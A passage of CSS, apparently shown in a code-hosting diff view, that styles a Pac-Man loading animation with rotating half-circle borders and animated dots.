animation: pacman-balls 1s 0.66s infinite linear; }
.pacman > div:nth-child(5) {
-webkit-animation: pacman-balls 1s 0.99s infinite linear;
animation: pacman-balls 1s 0.99s infinite linear; }
.pacman > div:first-of-type {
width: 0px;
height: 0px;
border-right: 25px solid transparent;
border-top: 25px solid #666;
border-left: 25px solid #666;
border-bottom: 25px solid #666;
border-radius: 25px;
-webkit-animation: rotate_pacman_half_up 0.5s 0s infinite;
animation: rotate_pacman_half_up 0.5s 0s infinite; }
.pacman > div:nth-child(2) {
width: 0px;
height: 0px;
border-right: 25px solid transparent;
border-top: 25px solid #666;
border-left: 25px solid #666;
border-bottom: 25px solid #666;
border-radius: 25px;
-webkit-animation: rotate_pacman_half_down 0.5s 0s infinite;
animation: rotate_pacman_half_down 0.5s 0s infinite;
margin-top: -50px; }
.pacman > div:nth-child(3), .pacman > div:nth-child(4), .pacman > div:nth-child(5), .pacman > div:nth-child(6) {
background-color: #666;
width: 15px;
height: 15px;
border-radius: 100%;
margin: 2px;
width: 10px;
height: 10px;
position: absolute;
-webkit-transform: translate(0, -6.25px);
-ms-transform: translate(0, -6.25px);
transform: translate(0, -6.25px);
top: 25px;
left: 100px; }
\ No newline at end of file
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment